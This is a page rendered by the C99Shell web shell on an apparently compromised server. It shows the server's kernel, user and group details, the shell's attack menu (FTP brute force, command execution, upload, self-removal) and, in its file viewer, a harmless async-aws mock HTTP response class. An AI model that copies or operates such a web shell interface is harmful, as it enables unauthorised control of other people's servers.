!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Test/Http/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SimpleMockedResponse.php (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
AsyncAws\Core\Test\Http;

use 
AsyncAws\Core\Exception\LogicException;
use 
Symfony\Component\HttpClient\Response\MockResponse;

/**
 * @final
 */
class SimpleMockedResponse extends MockResponse
{
    private 
$headers = [];

    private 
$content '';

    private 
$statusCode;

    
/**
     * @param array $headers ['name'=>'value'] OR ['name'=>['value']]
     */
    
public function __construct(string $content '', array $headers = [], int $statusCode 200)
    {
        
$this->content $content;
        
$this->statusCode $statusCode;
        
$this->headers = [];
        foreach (
$headers as $name => $value) {
            if (!
\is_array($value)) {
                
$value = [$value];
            }
            
$this->headers[$name] = $value;
        }

        
parent::__construct($content, [
            
'response_headers' => $this->getFlatHeaders(),
            
'http_code' => $statusCode,
        ]);
    }

    public function 
getStatusCode(): int
    
{
        return 
$this->statusCode;
    }

    public function 
getHeaders(bool $throw true): array
    {
        return 
$this->headers;
    }

    public function 
getContent(bool $throw true): string
    
{
        return 
$this->content;
    }

    public function 
toArray(bool $throw true): array
    {
        return 
json_decode($this->getContent($throw), true);
    }

    public function 
cancel(): void
    
{
        throw new 
LogicException('Not implemented');
    }

    private function 
getFlatHeaders()
    {
        
$flat = [];
        foreach (
$this->headers as $name => $value) {
            
$flat[] = sprintf('%s: %s'$nameimplode(';'$value));
        }

        return 
$flat;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--